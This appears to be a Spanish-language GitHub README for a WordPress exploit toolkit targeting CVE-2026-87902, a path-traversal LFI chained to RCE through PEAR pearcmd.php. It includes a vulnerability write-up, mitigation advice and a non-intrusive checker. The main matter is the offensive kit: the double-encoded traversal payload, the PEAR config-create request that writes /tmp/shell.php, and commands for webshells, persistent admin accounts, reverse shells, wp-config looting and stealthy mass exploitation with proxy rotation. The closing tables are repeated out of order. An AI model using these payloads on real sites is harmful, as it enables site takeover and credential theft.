Kit de herramientas LFI-to-RCE para WordPress CVE-2026-87902 con una cadena de explotación weaponizada (PEAR RCE, webshell, creación de admin, loot) y una versión SafeChecker no intrusiva y auditor de riesgos.

SOLO USO ÉTICO – PRUEBAS DE SEGURIDAD AUTORIZADAS
Este repositorio proporciona herramientas únicamente para profesionales de seguridad autorizados, equipos azules y testers de penetración.
El acceso no autorizado a sistemas informáticos es ilegal según la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido), el TCK 243/244 (Turquía) y leyes similares en todo el mundo.
CVE‑2026‑87902 es una vulnerabilidad crítica de path traversal y local file inclusion (LFI) no autenticada en WordPress Core (versiones 4.7.0 a 7.1.1) que permite a un atacante no autenticado incluir archivos .php locales arbitrarios a través del parámetro de consulta pagename, y bajo condiciones específicas del servidor escalar a remote code execution (RCE) encadenando el archivo PEAR pearcmd.php. Puntuación CVSS: 9.2 (Crítica). Divulgada por Robert Ressl a través del programa HackerOne de WordPress en julio de 2026. Parcheada en 7.1.2 el 22 de septiembre de 2026, con backports hasta 4.7 .
El fallo afecta a todas las versiones de WordPress desde 2016 — una década de versiones que pasaron la revisión de código sin ser detectadas. La causa raíz es una única llamada de validación faltante en una de las rutas de código más transitadas del CMS .
Resolución de plantilla sin sanitizar – get_page_template() en wp-includes/template.php construye candidatos de plantilla a partir de la variable de consulta pagename. Una ruta de código vecina en la misma función aplica validate_file() para bloquear secuencias ../, pero la rama $pagename no la llama. Cualquier traversal en pagename pasa sin ser verificado .
Bypass de traversal con doble codificación – WordPress aplica sanitize_title_for_query() a pagename, que reemplaza los puntos literales (.) con guiones para prevenir traversal. Pero la función opera sobre entrada ya decodificada y no decodifica recursivamente. Un atacante envía %252e%252e%252f; el servidor web lo decodifica una vez a %2e%2e%2f; el sanitizador no ve puntos literales y lo deja pasar; luego get_page_template() llama a urldecode() de nuevo dentro de la función, produciendo ../ .
Precondición del directorio del tema – El tema activo debe contener un directorio de nivel superior cuyo nombre comience con page- (p. ej. page-templates/). El nombre de archivo construido page-{pagename}.php entonces escapa la raíz del tema mediante el traversal. Los temas predeterminados más antiguos (Twenty Twelve, Twenty Fourteen) y temas populares de terceros (Neve, Hestia, Sydney) incluyen este directorio. Los temas hijos que heredan de dichos padres también cumplen la precondición .
Sumidero LFI en locate_template() – La ruta candidata se pasa a locate_template(), que busca en los directorios del tema. Debido a que el traversal resuelve a un archivo fuera de esos directorios, y la función solo verifica file_exists(), cualquier archivo .php legible se incluye con privilegios completos del servidor web. Esto hace que el LFI sea incondicional en cualquier sitio sin parchear que cumpla la precondición del tema — incluyendo wp-config.php con sus credenciales de base de datos y sales de autenticación .
Escalada RCE mediante PEAR pearcmd.php – PEAR se distribuye con muchas instalaciones de PHP. Su pearcmd.php normalmente es solo CLI, pero cuando register_argc_argv=On, PHP rellena $_SERVER['argv'] desde la cadena de consulta de la URL. El atacante incluye pearcmd.php mediante el LFI, pasa config-create como argumento y proporciona código PHP más una ruta de salida (/tmp/shell.php). PEAR escribe el código del atacante en disco; una segunda inclusión lo ejecuta .
Segunda ruta de explotación – Una petición que combina name (slug de la página de inicio), page_id (ID de la página de entradas), preview=true y un payload pagename desvía WP_Query hacia su rama post_name, que nunca reescribe pagename a través de sanitize_title_for_query(). Esto permite puntos literales en el traversal. Requiere un tema sin single.php .
Requisitos de configuración del servidor – El RCE depende de dos condiciones comunes en despliegues reales: pearcmd.php presente/legible (frecuente en hosting compartido, cPanel, imágenes oficiales de PHP Docker), y register_argc_argv=On (predeterminado en PHP inferior a 8.5). PHP 8.5 cambió el valor predeterminado a Off. En un servidor moderno PHP 8.5+ sin PEAR, la explotación se detiene en el LFI .
El parche – WordPress 7.1.2 añade dos capas de defensa: (a) la llamada faltante a validate_file() en la rama pagename, y (b) una nueva función _wp_is_template_path_allowed() llamada por locate_template() para cada plantilla resuelta. La función rechaza rutas que contienen .., luego resuelve la ruta real mediante realpath() y verifica que se encuentre dentro de uno de los directorios de temas permitidos. Esta defensa en profundidad cierra el sumidero, no solo una ruta hacia él .
Explotación activa en el mundo real – Primeras peticiones maliciosas observadas 5 horas después de la publicación del parche (17:44 UTC, 22 de septiembre de 2026). El tráfico se multiplicó por diez durante el día siguiente. Se observaron tres etapas: reconocimiento con config-show → detección de archivos del núcleo → armamentización con config-create. Los nombres de archivo de los payloads incluían wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, escritos en /tmp y /var/tmp. IPs atacantes: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b .
Impacto – Ejecución de código con privilegios del servidor web. Toma de control total del sitio, robo de credenciales de wp-config.php, exfiltración de datos, instalación de webshell, creación de usuarios administradores, reverse shell, ataques a la cadena de suministro mediante plugins/temas modificados y movimiento lateral hacia servicios conectados. La puntuación CVSS 9.2 refleja impacto explotable por red, sin autenticación, alto en confidencialidad/integridad/disponibilidad. La alta complejidad del ataque refleja las precondiciones del tema y del servidor, pero en hosting compartido típico esas condiciones se cumplen con frecuencia.
page-* en el tema activo, establezca register_argc_argv=Off en php.ini, y bloquee el traversal con doble codificación en el parámetro pagename a nivel de WAF.| Herramienta | Propósito | Usuario previsto |
|---|---|---|
exploit.py | Kit de herramientas completo armamentizado con detección de LFI, cadena RCE de PEAR, creación de usuario administrador, instalación de webshell, reverse shell, escaneo masivo, modo sigiloso, rotación de proxies y cadena de ataque completa. | Equipos rojos / pentesters autorizados |
safecheck.py | Comprobador de vulnerabilidad no intrusivo que detecta la versión de WordPress, valida la exposición y evalúa el riesgo sin incluir ningún archivo ni ejecutar ningún payload. Genera informes JSON. | Equipos azules / auditores de seguridad |
| Característica | exploit.py | safecheck.py |
|---|---|---|
| Detección de vulnerabilidad | ✅ | ✅ |
| Detección de versión | ✅ | ✅ |
Comprobación del directorio page-* del tema | ✅ | ✅ |
Alcanzabilidad de PEAR pearcmd.php | ✅ | ✅ |
Comprobación de register_argc_argv | ✅ | ✅ |
| Sonda de comportamiento del WAF | ❌ | ✅ |
| Sonda LFI con doble codificación | ✅ | ❌ |
RCE con PEAR config-create | ✅ | ❌ |
| Creación de usuario administrador | ✅ | ❌ |
| Instalación de webshell | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
Extracción de wp-config.php | ✅ | ❌ |
| Cadena de ataque completa | ✅ | ❌ |
| Escaneo masivo (multihilo) | ✅ | ✅ |
| Soporte de proxy | ✅ | ✅ |
| Rotación de proxies | ✅ | ❌ |
| Rotación de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Limitador de tasa | ✅ | ❌ |
| Modo no intrusivo (seguro) | ❌ | ✅ |
| Informe de evaluación de riesgo | ✅ |
| Escenario | Herramienta recomendada |
|---|---|
| Equipo Azul – verificar si su WordPress es vulnerable | safecheck.py |
| Auditoría de seguridad – evaluación de vulnerabilidad no intrusiva | safecheck.py |
| Equipo Rojo – pruebas de penetración autorizadas con explotación completa | exploit.py |
| Bug Bounty – pruebas de divulgación responsable | safecheck.py |
| Escaneo masivo – comprobar múltiples objetivos en busca de vulnerabilidad | exploit.py (solo detección) |
| Respuesta a incidentes – comprobar si los sistemas están comprometidos | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py| Parámetro | Descripción |
|---|---|
-u, --url | URL de un único objetivo WordPress (p. ej. http://wordpress.example.com) |
-f, --file | Archivo que contiene la lista de objetivos (uno por línea) para escaneo masivo |
--pipe | Leer objetivos desde stdin |
--exploit | Realizar explotación después de la detección |
--create-admin | Crear usuario administrador persistente (formato: USER:PASS) |
--webshell | Instalar webshell mediante RCE |
--reverse-shell | Activar reverse shell (formato: LHOST:LPORT) |
--loot | Extraer wp-config.php y otros archivos |
--threads | Número de hilos para múltiples objetivos (predeterminado: 8) |
--timeout | Tiempo de espera de la petición (predeterminado: 15s) |
--retry | Reintentos máximos (predeterminado: 3) |
--proxy | Proxy HTTP/HTTPS (p. ej. http://127.0.0.1:8080) |
--proxy-list | Archivo con proxies para rotación (uno por línea) |
--proxy-rotate | Estrategia de rotación de proxies (round-robin, random, sticky) |
--jitter | Jitter aleatorio entre peticiones |
--jitter-range | Jitter mín,máx segundos (predeterminado: 0.1,2.0) |
--delay | Retardo fijo entre peticiones |
--stealth | Activar modo sigiloso (rotación de UA + jitter) |
--insecure | Deshabilitar la verificación TLS |
safecheck.py| Parámetro | Descripción |
|---|---|
-u, --url | URL de un único objetivo WordPress (p. ej. http://wordpress.example.com) |
-f, --file | Archivo que contiene la lista de objetivos (uno por línea) |
--pipe | Leer objetivos desde stdin |
-t, --threads | Número de hilos para múltiples objetivos (predeterminado: 8) |
--timeout | Tiempo de espera de la petición (predeterminado: 15s) |
--retry | Reintentos máximos (predeterminado: 3) |
--proxy | Proxy HTTP/HTTPS |
--jitter | Jitter aleatorio entre peticiones |
--jitter-range | Jitter mín,máx segundos (predeterminado: 0.1,2.0) |
--delay | Retardo fijo entre peticiones |
--insecure | Deshabilitar la verificación TLS |
--user-agent | User-Agent personalizado |
--max-body | Tamaño máximo del cuerpo de respuesta |
--concurrent-per-host | Máximo de peticiones concurrentes por host |
--exclude | Hosts a excluir separados por comas |
-o, --output | Guardar informe JSON en archivo (.json, .csv, .html, .jsonl) |
--db | Archivo de base de datos SQLite |
-v, --verbose | Salida detallada |
-q, --quiet | Modo silencioso |
--no-banner | Suprimir el banner |
| # | Escenario | Comando |
|---|---|---|
| 1 | Comprobación rápida de vulnerabilidad | python safecheck.py -u http://wordpress.example.com |
| 2 | Escaneo detallado con informe | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | Auditoría masiva desde archivo | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | Exploit solo detección | python exploit.py -u http://wordpress.example.com |
| 5 | Extraer wp-config.php | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | Ataque completo con webshell | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | Crear usuario administrador persistente | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | Reverse shell | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | Cadena de ataque completa | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | Explotación masiva con sigilo | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | Rotación de proxies | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
El exploit utiliza los siguientes endpoints de WordPress y pasos de explotación:
| Paso | Método | Endpoint | Descripción |
|---|---|---|---|
| 1. Fingerprint | GET | / | Detectar WordPress mediante wp-content, wp-includes, wp-json |
| 2. Versión | GET | /feed/ | Extraer la versión mediante el meta <generator> |
| 3. Page ID | GET | /wp-json/wp/v2/pages | Descubrir un page_id válido |
| 4. Directorio del tema | GET | /wp-content/themes/{theme}/page-templates/ | Confirmar la precondición page-* |
| 5. Sonda LFI | GET | /?page_id={id}&pagename={payload} | Traversal con doble codificación para incluir archivo local |
| 6. Inclusión PEAR | GET | /?page_id={id}&pagename={pearcmd} | Incluir pearcmd.php |
| 7. RCE PEAR | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | Escribir archivo PHP mediante PEAR |
| 8. Ejecutar | GET | /?page_id={id}&pagename={outfile} | Incluir el archivo escrito → RCE |
| 9. Persistir | GET | (mediante RCE) | Crear usuario administrador / webshell |
| 10. Extraer | GET | /?page_id={id}&pagename={wp-config} | Leer wp-config.php mediante LFI |
# Ejemplo de traversal con doble codificación
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# Cadena RCE config-create de PEAR
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# Disparador de inclusión PEAR
GET /?page_id=2&pagename={encoded_output_path}
Este software se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
| ✅ |
| Recomendaciones de mitigación | ❌ | ✅ |
| Informe JSON | ✅ | ✅ |
| Informe CSV | ✅ | ✅ |
| Informe HTML | ✅ | ✅ |
| Salida SQLite | ✅ | ✅ |
| User‑Agent personalizado | ✅ | ✅ |
| Control de verificación SSL | ✅ | ✅ |
--user-agent | User-Agent personalizado |
--max-body | Tamaño máximo del cuerpo de respuesta |
--concurrent-per-host | Máximo de peticiones concurrentes por host |
--rate-limit | Máximo de peticiones por segundo |
--exclude | Hosts a excluir separados por comas |
-o, --output | Guardar informe en archivo (.json, .csv, .html, .jsonl) |
--db | Archivo de base de datos SQLite |
-v, --verbose | Salida detallada |
-q, --quiet | Modo silencioso |
--no-banner | Suprimir el banner |